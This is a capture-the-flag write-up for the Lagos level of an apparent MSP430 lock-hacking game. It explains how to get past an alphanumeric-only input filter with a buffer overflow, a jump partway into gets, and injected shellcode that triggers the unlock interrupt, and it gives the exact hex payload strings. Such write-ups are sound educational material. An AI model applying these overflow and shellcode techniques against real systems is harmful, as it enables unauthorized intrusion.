Next up is Lagos! This level was a fun challenge. You’re only allowed to use alphabetic (A-Z, a-z) characters, which means that you have to get pretty creative with your inputs.
This limitation causes some issues for us (for example, we need a 0x7f type interrupt and that’s not a valid character). This blog post walks through various approaches I took, how I was able to solve it, and then an improvement that I made to my solution.
Lagos Code
Going through the lines of assembly, there were a few things that I noticed.
gets
One, there’s a HUGE amount of buffer space for us! The gets call has 0x200 passed into it… that’s 0x200 bytes worth of space for our attack. That means we can overwrite all the way to address 0x4590. Addresses 0x440-0x4470, we don’t really care about. However, we might run into some issues if we overwrite parts of the conditional_unlock_door function.
Nop slide 2: Electric Boogaloo
We can’t do a ‘classic’ nop slide with a value like 0x90, because that’s out of range. However, we could continually jump to a ret call, and use that as a nop slide. Will we need a nop slide? I’m not sure yet, but this is kind of a neat trick.
0x7f
As always, we’re trying to trigger a 0x7f interrupt. This code doesn’t contain 0x7f anywhere, though, so we’ll have to get creative. We might be able to use 0xff because the end result (getting OR’d with 0x8000 is the same).
Other
It’s interesting that our input string seems “off by one” (the input string starts at 0x43ed instead of 0x43ec or 0x43ee).
ASCII-only options
I printed up a copy of the assembly instructions, and highlighted every byte that was between 0x41-0x5a and 0x61-0x7a. The results fall into one of two categories: memory addresses we can jump to, and instructions that we can execute.
Addresses In Range
Address sections include the conditional_unlock_door function:
4446
4446: 0412 push r4
4448: 0441 mov sp, r4
444a: 2453 incd r4
444c: 2183 decd sp
444e: c443 fcff mov.b #0x0, -0x4(r4)
4452: 3e40 fcff mov #0xfffc, r14
4456: 0e54 add r4, r14
4458: 0e12 push r14
445a: 0f12 push r15
...
...
4464: 5f44 fcff mov.b -0x4(r4), r15
4468: 8f11 sxt r15
446a: 3152 add #0x8, sp
446c: 3441 pop r4
446e: 3041 ret
4470 .strings:
4470: "Enter the password to continue."
Some strings…
...
4564: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
4568: b012 6046 call #0x4660
456c: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4570: b012 6046 call #0x4660
Part of getchar and almost anywhere in gets and puts.
4642: 5f44 fcff mov.b -0x4(r4), r15
4646: 8f11 sxt r15
4648: 3150 0600 add #0x6, sp
464c: 3441 pop r4
464e: 3041 ret
4650
4650: 0e12 push r14
4652: 0f12 push r15
4654: 2312 push #0x2
4656: b012 fc45 call #0x45fc
465a: 3150 0600 add #0x6, sp
...
4662: 0b4f mov r15, r11
4664: 073c jmp #0x4674 <puts+0x14>
4666: 1b53 inc r11
4668: 8f11 sxt r15
466a: 0f12 push r15
466c: 0312 push #0x0
466e: b012 fc45 call #0x45fc
4672: 2152 add #0x4, sp
4674: 6f4b mov.b @r11, r15
4676: 4f93 tst.b r15
4678: f623 jnz #0x4666 <puts+0x6>
467a: 3012 0a00 push #0xa
Obviously we can jump into one of these sections and continue on (i.e. we want to get to an address with non-alphabetic characters, but we can start a few lines before that and step our way there). The addresses I’m showing here are our options for starting points.
0x41-0x7a Instructions
While highlighting, I also found myself highlighting some op codes. I’m not sure if we can use them, but I recorded them here just in case. There are likely more op codes that only use bytes 0x41-0x5a and 0x61-0x7a, so later, we should remember that there’s (likely) some wiggle room here.
4b4f mov.b r15, r11
6f4b mov.b @r11, r15
4a4e mov.b r14, r10
Ideas So Far
Clearly, we’re going to do some kind of buffer overflow and overwrite the program flow, because we’ve got 0x200 bytes to work with (we need 17 bytes of filler before our new return address).
We know that we need to get a 0x7f interrupt triggered. That means we either need to get a 0x7f into the program, or make use of an existing 0xff (since it gets bis'd with 0x8000 and becomes 0xff00 anyway). If we can’t find an existing 0xff to use, we might be able to call gets to grab some unfiltered user input.
Then, we can jump to the conditional_unlock_door function. We can also jump to portions of putchar, gets and puts.
We also might be able to make use of some op codes that won’t be filtered out as non-alphabetic characters.
Idea #1: Clobber the conditional_unlock_door function
I originally got here by trying to nop slide my way (nearly) to the first 0xff in the code, then jump to a function where the 0xff would be used as the interrupt type. As it turns out, that logic didn’t work, but I had some fun with assembly while I was trying it.
Because we have a giant gets buffer, we can overwrite all the way to (and past) the interrupt call in the conditional_unlock_door function. If we take a peak at the interrupt function, we can see that anything we put in the sr, r14, or r15 registers will be clobbered. Wherever the stack pointer is will determine what type of interrupt gets called… maybe we can move it somehow?
As a result, my idea was to overwrite the beginning of the conditional_unlock_door with op codes that are within the 0x41-0x5a and 0x61-0x7a ranges. The goal of my overwrite would be to move the sp to a new location just before the INT call, such that the mov 0x2(sp), r14 line grabbed 0xff instead of 0x7e.
Part of the trick here was that the rest of the codes (that didn’t try to move the sp) had to be effectively no-ops and not mess up any important registers. I used 4444 which is mov.b r4, r4.
Most of the assembly I tried writing contained out-of-range bytes. So, I generated a bunch of op codes using combinations of in-range bytes, and then dumped them all in the assembler. There’s 150ish op codes that change the value of sp and only use the in-range bytes… but they’re almost all add.b, mov.b, sub.c, and so on. I tried this angle for a while but couldn’t move the stack pointer to where I wanted.
Idea #1b: Nop slide to get our stack pointer to 0xff, then trigger an interrupt
This is kind of a variation on the first idea. I used the ret nopslide idea to move the stack pointer to juuuust before an 0xff byte (0xffcf), then triggered an interrupt by jumping to 0x4656. Unfortunately, the interrupt math didn’t do what I expected and the CPU was shut off (probably because I was ultimately moving 0xfc into the sr, not 0xff). Anyway.
Idea #2: pop/push
In the style of the last level (and ROP), are there any places where we can move a value into r14 or r15 and then jump midway through an interrupt call?
I’m sure you, astute reader, are thinking “if the 0xffcf idea didn’t work before, why would it work now?” The answer is “it wouldn’t” but I didn’t eliminate these ideas sequentially. At the end of the login function, we pop r11. I looked for other places I could jump to where we could move this value to r14 or r15 but it didn’t work out. Same for trying to pop other values into registers or doing a combination of ROP and writing my own op codes. For example, 6f4b would move @r11 into r15, but I couldn’t directly call an interrupt, and all my hard work would be clobbered. Oh well.
I tabled this idea, and worked on gets instead.
Idea #3: Write whatever we want via gets
I tried out various inputs when I first started this challenge, and couldn’t find any way around the alphabetic character limitations.
However, gets is in our valid address list from earlier. And, if we jump to gets and input characters, we can input anything we want! 0x7f, here we come.
I tried two variations on this:
- Jump to somewhere and get the “right” values into
r14andr15and then jump togets, or - Jump midway into
getsand use values on the stack to dictate the input length and/or location.
First Lagos Solution
Once I looked at how the gets instructions were pushing values onto the stack, I saw that there was no reason to go with the first option. Instead, we can jump into the gets function at the push 0x2 line and it will accept the previous two stack values as r14 and r15. Here’s what the original (“normal”) gets call looks like:
So, if we jump into the gets function at line 0x4654, it will think that our next two values are the the values of r14 and r15 (as though we pushed those to the stack). We still need to push 0x2 onto the stack because that tells the processor that it’s a 0x2-type interrupt, which is getchar. Since that’s not a valid/alphabetic char, we can’t skip over that line.
As an attack string, that looks like:
414141414141414141414141414141414154465a445a445844
That’s:
[17 bytes of filler] + [address of `push 0x2` in gets] + [r14 value] + [r15 value] + [where to return to]
To keep things simple, I made r14 and r15 the same value. This value was 0x445a, which is in the middle of the conditional_unlock_door function. In other words, I had 0x445a bytes of buffer to use, and my input would be written to memory starting at address 0x445a. Then, since we just wrote shell code to address 0x445a, it would make sense to go there and execute our code.
Why did I pick those values?
I originally just wanted to overwrite the 0x7e value to 0x7f. That is at address 0x445e, which isn’t a valid character (since it’s the ASCII value for ^). So, we can start writing from an earlier address, like 0x445a. However, your user string will have an extra 00 at the end for the null char terminating the string, which means that our shell code needs to be longer than the 7f part since the 00 will clobber the call 0x10 part.
As a result, our original attack string is:
414141414141414141414141414141414154465a445a445844
and the shell code we need for the second gets call is:
0f12 3012 7f00 b012 fc45
Which corresponds to these instructions:
The push r15 is in there because I couldn’t start writing right at 0x7f, due to the limitations on input characters.
In summary, we are:
- Overwriting the return address of
loginand going togetsinstead. - We’re jumping into the function midway, and using the other values in our attack string (
445arepeated twice) to trick the processor into thinking those are the values of r14 (buffer size) and r15 (where to write to). - Then, we input shell code to write opcodes for a 0x7f, unconditional unlock interrupt.
- After that, we return to the address where we wrote our shell code, and execute it.
At this point you might be asking yourself, why don’t we just write the instructions to the end of the gets function? Dang, that’s a great idea.
New + Improved Lagos Solution
After completing the level, I looked at the input lengths of other users. My input length was 35, and after seeing the other lengths (17+), I thought I could do better (and I did, lol).
I did a few things:
- Shortened my original attack string by writing to memory at the end of the
getsso we don’t have to jump anywhere. This will save us 2 bytes, since we don’t need the return address. - Additionally, because of the placement of r14, we can get rid of two more bytes. This works as long as the next value in memory is less than the length of our shell code. Luckily for us this value is plenty big enough.
- I also shortened the op codes for triggering a 0x7f interrupt. Previously I was pushing 0x7f and then calling 0x10 to execute the interrupt. Instead, I decided to move 0xff00 into the
srand then call 0x10.
The new strings are:
414141414141414141414141414141414154465a46
and
324000ffb0121000
The original string is 17 bytes of filler, followed by the address partway through gets. The last 2 bytes is the value of r15 for our gets call, or the address of where our second string will be written to. Then, our second string (the “shell code”) is moving 0xff00 into the sr and triggering an interrupt.
Lagos Summary
To recap, we’re using a buffer overflow to redirect the program to gets (at the end of the login function), since its address consists only of “valid” (alphabetic) characters. From here, we will use the next value in our string as the value of r15. This dictates the location of where our second string will be written. Since the next value in memory is sufficiently large, we don’t need to specify a ‘fake’ value for r14.
Our second string or shell code will be written to the end of gets so once we return from our interrupt, we’ll continue executing code and immediately execute our shell code. Lastly, our shellcode is the smallest representation of setting up and triggering a 0x7f interrupt.
To solve this level, type solve and enter 414141414141414141414141414141414154465a46 (check “hex-encoded”). You will be prompted again. Enter 324000ffb0121000 for the second string.
Et voilà!
